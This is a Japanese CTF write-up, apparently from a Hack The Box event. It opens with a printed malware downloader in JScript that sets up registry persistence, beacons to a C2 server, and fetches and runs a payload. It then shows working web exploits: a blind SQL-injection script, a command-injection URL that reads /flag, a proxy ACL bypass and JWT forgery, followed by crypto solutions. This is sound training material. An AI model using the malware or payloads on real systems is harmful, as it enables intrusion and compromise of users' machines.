            var AaP0 = sW_c.slice(0, 6);
            sW_c = sW_c.slice(6);
            bzwO += this.char_set.charAt(parseInt(AaP0, 2))
        }
    }
    
    if (sW_c) {
        while (sW_c.length < 6) sW_c += "0";
        bzwO += this.char_set.charAt(parseInt(sW_c, 2))
    }
    while (bzwO.length % (j5zO ? 4 : 8) != 0) bzwO += "=";
    return bzwO
}

var lW6t = [];
lW6t["C7"] = "80";
lW6t["FC"] = "81";
lW6t["E9"] = "82";
lW6t["E2"] = "83";
lW6t["E4"] = "84";
lW6t["E0"] = "85";
lW6t["E5"] = "86";
lW6t["E7"] = "87";
lW6t["EA"] = "88";
lW6t["EB"] = "89";
lW6t["E8"] = "8A";
lW6t["EF"] = "8B";
lW6t["EE"] = "8C";
lW6t["EC"] = "8D";
lW6t["C4"] = "8E";
lW6t["C5"] = "8F";
lW6t["C9"] = "90";
lW6t["E6"] = "91";
lW6t["C6"] = "92";
lW6t["F4"] = "93";
lW6t["F6"] = "94";
lW6t["F2"] = "95";
lW6t["FB"] = "96";
lW6t["F9"] = "97";
lW6t["FF"] = "98";
lW6t["D6"] = "99";
lW6t["DC"] = "9A";
lW6t["A2"] = "9B";
lW6t["A3"] = "9C";
lW6t["A5"] = "9D";
lW6t["20A7"] = "9E";
lW6t["192"] = "9F";
lW6t["E1"] = "A0";
lW6t["ED"] = "A1";
lW6t["F3"] = "A2";
lW6t["FA"] = "A3";
lW6t["F1"] = "A4";
lW6t["D1"] = "A5";
lW6t["AA"] = "A6";
lW6t["BA"] = "A7";
lW6t["BF"] = "A8";
lW6t["2310"] = "A9";
lW6t["AC"] = "AA";
lW6t["BD"] = "AB";
lW6t["BC"] = "AC";
lW6t["A1"] = "AD";
lW6t["AB"] = "AE";
lW6t["BB"] = "AF";
lW6t["2591"] = "B0";
lW6t["2592"] = "B1";
lW6t["2593"] = "B2";
lW6t["2502"] = "B3";
lW6t["2524"] = "B4";
lW6t["2561"] = "B5";
lW6t["2562"] = "B6";
lW6t["2556"] = "B7";
lW6t["2555"] = "B8";
lW6t["2563"] = "B9";
lW6t["2551"] = "BA";
lW6t["2557"] = "BB";
lW6t["255D"] = "BC";
lW6t["255C"] = "BD";
lW6t["255B"] = "BE";
lW6t["2510"] = "BF";
lW6t["2514"] = "C0";
lW6t["2534"] = "C1";
lW6t["252C"] = "C2";
lW6t["251C"] = "C3";
lW6t["2500"] = "C4";
lW6t["253C"] = "C5";
lW6t["255E"] = "C6";
lW6t["255F"] = "C7";
lW6t["255A"] = "C8";
lW6t["2554"] = "C9";
lW6t["2569"] = "CA";
lW6t["2566"] = "CB";
lW6t["2560"] = "CC";
lW6t["2550"] = "CD";
lW6t["256C"] = "CE";
lW6t["2567"] = "CF";
lW6t["2568"] = "D0";
lW6t["2564"] = "D1";
lW6t["2565"] = "D2";
lW6t["2559"] = "D3";
lW6t["2558"] = "D4";
lW6t["2552"] = "D5";
lW6t["2553"] = "D6";
lW6t["256B"] = "D7";
lW6t["256A"] = "D8";
lW6t["2518"] = "D9";
lW6t["250C"] = "DA";
lW6t["2588"] = "DB";
lW6t["2584"] = "DC";
lW6t["258C"] = "DD";
lW6t["2590"] = "DE";
lW6t["2580"] = "DF";
lW6t["3B1"] = "E0";
lW6t["DF"] = "E1";
lW6t["393"] = "E2";
lW6t["3C0"] = "E3";
lW6t["3A3"] = "E4";
lW6t["3C3"] = "E5";
lW6t["B5"] = "E6";
lW6t["3C4"] = "E7";
lW6t["3A6"] = "E8";
lW6t["398"] = "E9";
lW6t["3A9"] = "EA";
lW6t["3B4"] = "EB";
lW6t["221E"] = "EC";
lW6t["3C6"] = "ED";
lW6t["3B5"] = "EE";
lW6t["2229"] = "EF";
lW6t["2261"] = "F0";
lW6t["B1"] = "F1";
lW6t["2265"] = "F2";
lW6t["2264"] = "F3";
lW6t["2320"] = "F4";
lW6t["2321"] = "F5";
lW6t["F7"] = "F6";
lW6t["2248"] = "F7";
lW6t["B0"] = "F8";
lW6t["2219"] = "F9";
lW6t["B7"] = "FA";
lW6t["221A"] = "FB";
lW6t["207F"] = "FC";
lW6t["B2"] = "FD";
lW6t["25A0"] = "FE";
lW6t["A0"] = "FF";

function a0rV() {
    var YrUH = Math.ceil(Math.random() * 10 + 25);
    var name = String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
    var JKfG = WScript.CreateObject("WScript.Network");
    Vxiu = JKfG.UserName;
    for (var count = 0; count < YrUH; count++) {
        switch (Math.ceil(Math.random() * 3)) {
            case 1:
                name = name + Math.ceil(Math.random() * 8);
                break;
            case 2:
                name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 97));
                break;
            default:
                name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
                break
        }
    }
    return name
}

var icVh = Jp6A(HAP5());

try {
    var CJPE = HAP5();
    W6cM();
    Syrl()
} catch (e) {
    WScript.Quit()
}

function Syrl() {
    var m2n0 = xhOC();
    while (true) {
        for (var i = 0; i < WQuh.length; i++) {
            var bx_4 = WQuh[i];
            var czlA = V9iU(bx_4, m2n0);
            switch (czlA) {
                case "good":
                    break;
                case "exit":
                    WScript.Quit();
                    break;
                case "work":
                    eRNv(bx_4);
                    break;
                case "fail":
                    I7UO();
                    break;
                default:
                    break
            }
            a0rV()
        }
        WScript.Sleep((Math.random() * 300 + 3600) * 1e3)
    }
}

function HAP5() {
    var zkDC = this["ActiveXObject"];
    var jVNP = new zkDC("WScript.Shell");
    return jVNP
}

function eRNv(caA2) {
    var jpVh = icVh + EBKd.substring(0, EBKd.length - 2) + "pif";
    var S47T = new ActiveXObject("MSXML2.XMLHTTP");
    S47T.OPEN("post", caA2, false);
    S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
    S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
    S47T.SETREQUESTHEADER("content-length:", "4");
    S47T.SETREQUESTHEADER("Cookie:", "flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=");
    S47T.SEND("work");
    if (Z6HQ.FILEEXISTS(jpVh)) {
        Z6HQ.DELETEFILE(jpVh)
    }
    if (S47T.STATUS == 200) {
        var gfjd = new ActiveXObject("ADODB.STREAM");
        gfjd.TYPE = 1;
        gfjd.OPEN();
        gfjd.WRITE(S47T.responseBody);
        gfjd.Position = 0;
        gfjd.Type = 2;
        gfjd.CharSet = "437";
        var j3k6 = gfjd.ReadText(gfjd.Size);
        var RAKT = t7Nl("2f532d6baec3d0ec7b1f98aed4774843", l9BJ(j3k6));
        Trql(RAKT, jpVh);
        gfjd.Close()
    }
    var lDd9 = a0rV();
    nr3z(jpVh, caA2);
    WScript.Sleep(3e4);
    Z6HQ.DELETEFILE(jpVh)
}

function I7UO() {
    Z6HQ.DELETEFILE(WScript.SCRIPTFULLNAME);
    CJPE.REGDELETE("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + EBKd.substring(0, EBKd.length - 3));
    WScript.Quit()
}

function V9iU(pxug, tqDX) {
    try {
        var S47T = new ActiveXObject("MSXML2.XMLHTTP");
        S47T.OPEN("post", pxug, false);
        S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
        S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
        var SoNI = DGbq(tqDX, true);
        S47T.SETREQUESTHEADER("content-length:", SoNI.length);
        S47T.SEND(SoNI);
        return S47T.responseText
    } catch (e) {
        return ""
    }
}

function he50() {
    var wXgO = "";
    var JKfG = WScript.CreateObject("WScript.Network");
    var SoNI = zIRF + JKfG.ComputerName + Vxiu;
    for (var i = 0; i < 16; i++) {
        var DXHy = 0;
        for (var j = i; j < SoNI.length - 1; j++) {
            DXHy = DXHy ^ SoNI.charCodeAt(j)
        }
        DXHy = DXHy % 10;
        wXgO = wXgO + DXHy.toString(10)
    }
    wXgO = wXgO + zIRF;
    return wXgO
}

function W6cM() {
    v_FileName = icVh + EBKd.substring(0, EBKd.length - 2) + "js";
    Z6HQ.COPYFILE(WScript.ScriptFullName, icVh + EBKd);
    var zIqu = (Math.random() * 150 + 350) * 1e3;
    WScript.Sleep(zIqu);
    CJPE.REGWRITE("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + EBKd.substring(0, EBKd.length - 3), "wscript.exe //B " + String.fromCharCode(34) + icVh + EBKd + String.fromCharCode(34) + " NPEfpRZ4aqnh1YuGwQd0", "REG_SZ")
}

function xhOC() {
    var U5rJ = icVh + "~dat.tmp";
    for (var i = 0; i < LwHA.length; i++) {
        CJPE.Run("cmd.exe /c " + LwHA[i] + '"' + U5rJ + "", 0, true)
    }
    var jxHd = S7EN(U5rJ);
    WScript.Sleep(1e3);
    Z6HQ.DELETEFILE(U5rJ);
    return t7Nl("2f532d6baec3d0ec7b1f98aed4774843", jxHd)
}

function nr3z(jpVh, caA2) {
    try {
        if (Z6HQ.FILEEXISTS(jpVh)) {
            CJPE.Run('"' + jpVh + '"')
        }
    } catch (e) {
        var S47T = new ActiveXObject("MSXML2.XMLHTTP");
        S47T.OPEN("post", caA2, false);
        var ND3M = "error";
        S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
        S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
        S47T.SETREQUESTHEADER("content-length:", ND3M.length);
        S47T.SEND(ND3M);
        return ""
    }
}

function poBP(QQDq) {
    var HiEg = "0123456789ABCDEF";
    var L9qj = HiEg.substr(QQDq & 15, 1);
    while (QQDq > 15) {
        QQDq >>>= 4;
        L9qj = HiEg.substr(QQDq & 15, 1) + L9qj
    }
    return L9qj
}

function JbVq(x4hL) {
    return parseInt(x4hL, 16)
}

function l9BJ(Wid9) {
    var wXgO = [];
    var pV8q = Wid9.length;
    for (var i = 0; i < pV8q; i++) {
        var yWql = Wid9.charCodeAt(i);
        if (yWql >= 128) { var h = lW6t["" + poBP(yWql)];
        yWql = JbVq(h) } wXgO.push(yWql)
    }
    return wXgO
}

function Trql(EQ4R, K5X0) {
    var gfjd = WScript.CreateObject("ADODB.Stream");
    gfjd.type = 2;
    gfjd.Charset = "iso-8859-1";
    gfjd.Open();
    gfjd.WriteText(EQ4R);
    gfjd.Flush();
    gfjd.Position = 0;
    gfjd.SaveToFile(K5X0, 2);
    gfjd.close()
}

function Jp6A(KgOm) {
    icVh = "c:\\Users\\" + Vxiu + "\\AppData\\Local\\Microsoft\\Windows\\";
    if (!Z6HQ.FOLDEREXISTS(icVh)) icVh = "c:\\Users\\" + Vxiu + "\\AppData\\Local\\Temp\\";
    if (!Z6HQ.FOLDEREXISTS(icVh)) icVh = "c:\\Documents and Settings\\" + Vxiu + "\\Application Data\\Microsoft\\Windows\\";
    return icVh
}

function t7Nl(npmb, AIsp) {
    var M4tj = [];
    var KRYr = 0;
    var FPIW;
    var wXgO = "";
    for (var i = 0; i < 256; i++) {
        M4tj[i] = i
    }
    for (var i = 0; i < 256; i++) {
        KRYr = (KRYr + M4tj[i] + npmb.charCodeAt(i % npmb.length)) % 256;
        FPIW = M4tj[i];
        M4tj[i] = M4tj[KRYr];
        M4tj[KRYr] = FPIW
    }
    var i = 0;
    var KRYr = 0;
    for (var y = 0; y < AIsp.length; y++) {
        i = (i + 1) % 256;
        KRYr = (KRYr + M4tj[i]) % 256;
        FPIW = M4tj[i];
        M4tj[i] = M4tj[KRYr];
        M4tj[KRYr] = FPIW;
        wXgO += String.fromCharCode(AIsp[y] ^ M4tj[(M4tj[i] + M4tj[KRYr]) % 256])
    }
    return wXgO
}

コードの中に Base64 で符号化された FLAG がある.

S47T.SETREQUESTHEADER("Cookie:", "flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=");

Web

Flag Command (very easy)

Embark on the "Dimensional Escape Quest" where you wake up in a mysterious forest maze that's not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!

配布コードなし.
アクセスすると以下のようにゲームができる.
Screenshot_20240312_180536.png

Screenshot_20240312_180710.png

js のコードを確認してもこれらの選択肢が見つからないので,Network タブを確認すると /api/options からのレスポンスにある.

└─< curl http://94.237.50.51:52851/api/options
{
  "allPossibleCommands": {
    "1": [
      "HEAD NORTH",
      "HEAD WEST",
      "HEAD EAST",
      "HEAD SOUTH"
    ],
    "2": [
      "GO DEEPER INTO THE FOREST",
      "FOLLOW A MYSTERIOUS PATH",
      "CLIMB A TREE",
      "TURN BACK"
    ],
    "3": [
      "EXPLORE A CAVE",
      "CROSS A RICKETY BRIDGE",
      "FOLLOW A GLOWING BUTTERFLY",
      "SET UP CAMP"
    ],
    "4": [
      "ENTER A MAGICAL PORTAL",
      "SWIM ACROSS A MYSTERIOUS LAKE",
      "FOLLOW A SINGING SQUIRREL",
      "BUILD A RAFT AND SAIL DOWNSTREAM"
    ],
    "secret": [
      "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
    ]
  }
}

secret というのがあるので,Blip-blop, in a pickle with a hiccup! Shmiggity-shmack と入力すると FLAG が得られる.

KORP Terminal (very easy)

Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries' privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.

配布コードなし.

ユーザ名に hoge' として送信すると

{"error":{"message":["1064","1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''hoge''' at line 1","42000"],"type":"ProgrammingError"}}

と返されるので,SQLi ができそう.

パスワードの方は SQLi できなさそうなので,ハッシュ化して比較しているっぽい.

以下を設定すると {"error":{"message":["Invalid salt"],"type":"ValueError"}} が返される

username = "' UNION SELECT 1 #"
password = 'hoge'

よって,

query = f"SELECT * FROM user_table WHERE username='{username}'"

みたいなのがクエリとして組まれているっぽい.

適当に

FROM users

をつけて実行してみるとエラーが起こらないので,テーブル名はこれで合ってそう.

カラム名も適当に試してみると idusernamepassword の存在が確認できる.
このうち,

username = "' UNION SELECT password FROM users #"
password = 'hoge'

password を選択したときだけ

{"message":"Invalid user or password"}

のメッセージが得られて,それ以外の場合は

{"error":{"message":["Invalid salt"],"type":"ValueError"}}

となるので,password にはソルトを含むパスワードのハッシュ値が格納されていると予測できる.
また,usernameadmin のものが存在することも確認できる.

以下のようにして,password に何が入っているか二分探索で調べられる.

username = "' UNION SELECT username FROM users WHERE username = 'hoge' or 1=if((select ascii(substr(password, 1, 1)) from users) < 65, 1, 0)#"
password = 'hoge'
'''
{"error":{"message":["Invalid salt"],"type":"ValueError"}}
'''

username = "' UNION SELECT username FROM users WHERE username = 'hoge' or 1=if((select ascii(substr(password, 1, 1)) from users) > 65, 1, 0)#"
password = 'hoge'
'''
{"message":"Invalid user or password"}
'''

以下のスクリプトで adminpassword を調べる.

import requests
import json

URL = 'http://83.136.249.253:46769/'

LB = ord('!')
UB = ord('~')

payload_format = "' UNION SELECT username FROM users WHERE username = 'hoge_huga' or 1=if((select ascii(substr(password, {0}, 1)) from users) {1} {2}, 1, 0)#"
password = 'hoge'

passwd = ''
while True:
    lb = LB
    ub = UB
    md = (lb + ub) // 2
    while lb < ub:
        payload = payload_format.format(len(passwd) + 1, '<', md + 1)
        data = {'username': payload, 'password': password}
        res = requests.post(f'{URL}', data=data)
        if 'error' in json.dumps(res.text):
            ub = md
        else:
            lb = md + 1
        md = (lb + ub) // 2
    
    assert lb == ub
    payload = payload_format.format(len(passwd) + 1, '=', lb)
    data = {'username': payload, 'password': password}
    res = requests.post(f'{URL}', data=data)
    if 'error' in json.dumps(res.text):
        passwd += chr(lb)
    else:
        break
    print(passwd)

print(passwd)
$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.

以下のようにすることで,passwordhoge にすることが可能.

username = "' UNION SELECT 'hoge' #"

よって,適当な文字列 (hoge) を bcrypt でハッシュ化して,

username = "' UNION SELECT '$2a$12$XISPPM3sNGCpPXR7rAyd7uAXUHeuxSCHoyhSAV4S1QrrU3SwHC4mm' #"
password = 'hoge'

とすることで,認証をバイパスできる.

TimeKORP (very easy)

Are you ready to unravel the mysteries and expose the truth hidden within KROP's digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.

以下の TimeModel.php に脆弱性がある.

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

$format はユーザからの入力なので,OS コマンドインジェクションができる.

http://83.136.254.223:53913/?format=%Y-%m-%d';cat < '/flag
http://83.136.254.223:53913/?format=%Y-%m-%d%27;cat%20%3C%20%27/flag

LockTalk (medium)

In "The Ransomware Dystopia," LockTalk emerges as a beacon of resistance against the rampant chaos inflicted by ransomware groups. In a world plunged into turmoil by malicious cyber threats, LockTalk stands as a formidable force, dedicated to protecting society from the insidious grip of ransomware. Chosen participants, tasked with representing their districts, navigate a perilous landscape fraught with ethical quandaries and treacherous challenges orchestrated by LockTalk. Their journey intertwines with the organization's mission to neutralize ransomware threats and restore order to a fractured world. As players confront internal struggles and external adversaries, their decisions shape the fate of not only themselves but also their fellow citizens, driving them to unravel the mysteries surrounding LockTalk and choose between succumbing to despair or standing resilient against the encroaching darkness.

roleadministrator を持つ JWT で /api/v1/flag にアクセスすると FLAG が得られる.
haproxy.cfg の中で

frontend haproxy
    bind 0.0.0.0:1337
    default_backend backend

    http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }

とあるので,プロキシによって /api/v1/get_ticket へのアクセスが拒否される.
(Basic ACL syntax)

これはパスを

/api/v1/../v1/get_ticket

に設定することでバイパスできる.
これで guest の JWT が手に入る.

コードを確認すると PyJWT ではなく,python-jwt が使われているし,conf/requirements.txt には

python_jwt==3.3.3

とあり,python-jwt の最新バージョンは 4.1.0 なので,python-jwt の脆弱性を検索すると CVE-2022-39227 が見つかる.

CVE-2022-39227 は

An attacker who obtains a JWT can arbitrarily forge its contents without knowing the secret key. Depending on the application, this may for example enable the attacker to spoof other user's identities, hijack their sessions, or bypass authentication.

とあるので,key なしで,任意の JWT を取得できる脆弱性が存在する.

PoC を使う.

└─< py cve_2022_39227.py -j eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTA0MTIyMzYsImlhdCI6MTcxMDQwODYzNiwianRpIjoiTU5tRzBUZS0yTTRza29NWF8zZk0yQSIsIm5iZiI6MTcxMDQwODYzNiwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.IJVSBOcTk8bEHxRJDZNwwBINPUN3i4Io0UDVzrH2XNOLRgIYzlit6cktQcdvE2-HlgP-XuPZONs_OJH1DLCxX_4fUJnChTVdx5Kop0Wg2STqPzz7Sp0D52GygG60Lbn9hgFPrU0RfF-TBwIMtTcjyjgAGnUHB4Yvu4XMLbO0MAR36CIrlJjcT2v3kEFBYTYizTCWMq7_orSDZ35Kb-Ka6kSEfOZvR_Sz3nsL9EUouRbt7snRkL3ZqdK6DJeoe9FTo-BBJ7ctNL7IVi1JmCydZFh0wg7GqliOPE2-TMiu56yjdgrbfiVfCyPwKsU7UsP4PkrYEulMj_ZFx1IEhZbwXw -i "role=administrator"
[+] Retrieved base64 encoded payload: eyJleHAiOjE3MTA0MTIyMzYsImlhdCI6MTcxMDQwODYzNiwianRpIjoiTU5tRzBUZS0yTTRza29NWF8zZk0yQSIsIm5iZiI6MTcxMDQwODYzNiwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ
[+] Decoded payload: {'exp': 1710412236, 'iat': 1710408636, 'jti': 'MNmG0Te-2M4skoMX_3fM2A', 'nbf': 1710408636, 'role': 'guest', 'user': 'guest_user'}
[+] Inject new "fake" payload: {'exp': 1710412236, 'iat': 1710408636, 'jti': 'MNmG0Te-2M4skoMX_3fM2A', 'nbf': 1710408636, 'role': 'administrator', 'user': 'guest_user'}
[+] Fake payload encoded: eyJleHAiOjE3MTA0MTIyMzYsImlhdCI6MTcxMDQwODYzNiwianRpIjoiTU5tRzBUZS0yTTRza29NWF8zZk0yQSIsIm5iZiI6MTcxMDQwODYzNiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9

[+] New token:
 {"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTA0MTIyMzYsImlhdCI6MTcxMDQwODYzNiwianRpIjoiTU5tRzBUZS0yTTRza29NWF8zZk0yQSIsIm5iZiI6MTcxMDQwODYzNiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTA0MTIyMzYsImlhdCI6MTcxMDQwODYzNiwianRpIjoiTU5tRzBUZS0yTTRza29NWF8zZk0yQSIsIm5iZiI6MTcxMDQwODYzNiwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"IJVSBOcTk8bEHxRJDZNwwBINPUN3i4Io0UDVzrH2XNOLRgIYzlit6cktQcdvE2-HlgP-XuPZONs_OJH1DLCxX_4fUJnChTVdx5Kop0Wg2STqPzz7Sp0D52GygG60Lbn9hgFPrU0RfF-TBwIMtTcjyjgAGnUHB4Yvu4XMLbO0MAR36CIrlJjcT2v3kEFBYTYizTCWMq7_orSDZ35Kb-Ka6kSEfOZvR_Sz3nsL9EUouRbt7snRkL3ZqdK6DJeoe9FTo-BBJ7ctNL7IVi1JmCydZFh0wg7GqliOPE2-TMiu56yjdgrbfiVfCyPwKsU7UsP4PkrYEulMj_ZFx1IEhZbwXw"}

Example (HTTP-Cookie):
------------------------------
auth={"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTA0MTIyMzYsImlhdCI6MTcxMDQwODYzNiwianRpIjoiTU5tRzBUZS0yTTRza29NWF8zZk0yQSIsIm5iZiI6MTcxMDQwODYzNiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTA0MTIyMzYsImlhdCI6MTcxMDQwODYzNiwianRpIjoiTU5tRzBUZS0yTTRza29NWF8zZk0yQSIsIm5iZiI6MTcxMDQwODYzNiwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"IJVSBOcTk8bEHxRJDZNwwBINPUN3i4Io0UDVzrH2XNOLRgIYzlit6cktQcdvE2-HlgP-XuPZONs_OJH1DLCxX_4fUJnChTVdx5Kop0Wg2STqPzz7Sp0D52GygG60Lbn9hgFPrU0RfF-TBwIMtTcjyjgAGnUHB4Yvu4XMLbO0MAR36CIrlJjcT2v3kEFBYTYizTCWMq7_orSDZ35Kb-Ka6kSEfOZvR_Sz3nsL9EUouRbt7snRkL3ZqdK6DJeoe9FTo-BBJ7ctNL7IVi1JmCydZFh0wg7GqliOPE2-TMiu56yjdgrbfiVfCyPwKsU7UsP4PkrYEulMj_ZFx1IEhZbwXw"}

{" eyJhbGciOiJQU から YEulMj_ZFx1IEhZbwXw"} までを JWT として /api/v1/flag に送信すると FLAG が得られる.

Crypto

Dynastic (very easy)

You find yourself trapped inside a sealed gas chamber, and suddenly, the air is pierced by the sound of a distorted voice played through a pre-recorded tape. Through this eerie transmission, you discover that within the next 15 minutes, this very chamber will be inundated with lethal hydrogen cyanide. As the tape’s message concludes, a sudden mechanical whirring fills the chamber, followed by the ominous ticking of a clock. You realise that each beat is one step closer to death. Darkness envelops you, your right hand restrained by handcuffs, and the exit door is locked. Your situation deteriorates as you realise that both the door and the handcuffs demand the same passcode to unlock. Panic is a luxury you cannot afford; swift action is imperative. As you explore your surroundings, your trembling fingers encounter a torch. Instantly, upon flipping the switch, the chamber is bathed in a dim glow, unveiling cryptic letters etched into the walls and a disturbing image of a Roman emperor drawn in blood. Decrypting the letters will provide you the key required to unlock the locks. Use the torch wisely as its battery is almost drained out!

逆の処理する.

enc = 'DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL'

flag = ''
for i, c in enumerate(enc):
    if not c.isalpha():
        flag += c
    else:
        flag += chr((ord(c) - 0x41 - i) % 26 + 0x41)
print('HTB{' + flag + '}')

Makeshift (very easy)

Weak and starved, you struggle to plod on. Food is a commodity at this stage, but you can’t lose your alertness - to do so would spell death. You realise that to survive you will need a weapon, both to kill and to hunt, but the field is bare of stones. As you drop your body to the floor, something sharp sticks out of the undergrowth and into your thigh. As you grab a hold and pull it out, you realise it’s a long stick; not the finest of weapons, but once sharpened could be the difference between dying of hunger and dying with honour in combat.

これも逆の処理するだけ.

enc = '!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB'

flag = ''
for i in range(0, len(enc), 3):
    flag += enc[i + 2]
    flag += enc[i]
    flag += enc[i + 1]
print(flag[::-1])

Primary Knowledge (very easy)

Surrounded by an untamed forest and the serene waters of the Primus river, your sole objective is surviving for 24 hours. Yet, survival is far from guaranteed as the area is full of Rattlesnakes, Spiders and Alligators and the weather fluctuates unpredictably, shifting from scorching heat to torrential downpours with each passing hour. Threat is compounded by the existence of a virtual circle which shrinks every minute that passes. Anything caught beyond its bounds, is consumed by flames, leaving only ashes in its wake. As the time sleeps away, you need to prioritise your actions secure your surviving tools. Every decision becomes a matter of life and death. Will you focus on securing a shelter to sleep, protect yourself against the dangers of the wilderness, or seek out means of navigating the Primus’ waters?

RSA だが,$n = p$ の素因数が一つだけの場合なので,$\phi = n$ とすることで,復号できる.

from Crypto.Util.number import long_to_bytes

n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215

phi = n - 1
d = pow(e, -1, phi)
flag = pow(c, d, n)
print(long_to_bytes(flag))

Iced TEA (easy)

Locked within a cabin crafted entirely from ice, you're enveloped in a chilling silence. Your eyes land upon an old notebook, its pages adorned with thousands of cryptic mathematical symbols. Tasked with deciphering these enigmatic glyphs to secure your escape, you set to work, your fingers tracing each intricate curve and line with determination. As you delve deeper into the mysterious symbols, you notice that patterns appear in several pages and a glimmer of hope begins to emerge. Time is flying and the temperature is dropping, will you make it before you become one with the cabin?

暗号化の処理の逆をするだけ.

from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from enum import Enum

class Mode(Enum):
    ECB = 0x01
    CBC = 0x02

class Cipher:
    def __init__(self, key, iv=None):
        self.BLOCK_SIZE = 64
        self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
        self.DELTA = 0x9e3779b9
        self.IV = iv
        if self.IV:
            self.mode = Mode.CBC
        else:
            self.mode = Mode.ECB
    
    def _xor(self, a, b):
        return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))

    def encrypt(self, msg):
        msg = pad(msg, self.BLOCK_SIZE//8)
        blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg), self.BLOCK_SIZE//8)]
        
        ct = b''
        if self.mode == Mode.ECB:
            for pt in blocks:
                ct += self.encrypt_block(pt)
        elif self.mode == Mode.CBC:
            X = self.IV
            for pt in blocks:
                enc_block = self.encrypt_block(self._xor(X, pt))
                ct += enc_block
                X = enc_block
        return ct

    def encrypt_block(self, msg):
        m0 = b2l(msg[:4])
        m1 = b2l(msg[4:])
        K = self.KEY
        msk = (1 << (self.BLOCK_SIZE//2)) - 1

        s = 0
        for i in range(32):
            s += self.DELTA
            m0 += ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1])
            m0 &= msk
            m1 += ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3])
            m1 &= msk
        
        m = ((m0 << (self.BLOCK_SIZE//2)) + m1) & ((1 << self.BLOCK_SIZE) - 1) # m = m0 || m1

        return l2b(m)

    def decrypt(self, msg):
        assert len(msg) % 8 == 0
        blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg), self.BLOCK_SIZE//8)]

        pt = b''
        if self.mode == Mode.ECB:
            for ct in blocks:
                pt += self.decrypt_block(ct)
        elif self.mode == Mode.CBC:
            pass
        return pt

    def decrypt_block(self, msg):
        m0 = b2l(msg[:4])
        m1 = b2l(msg[4:])
        K = self.KEY
        mod = (1 << (self.BLOCK_SIZE//2))

        s = self.DELTA * 32
        for i in range(32):
            m1 -= ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3])
            m1 %= mod
            m0 -= ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1])
            m0 %= mod
            s -= self.DELTA
        
        m = ((m0 << (self.BLOCK_SIZE//2)) + m1) & ((1 << self.BLOCK_SIZE) - 1)

        return l2b(m)

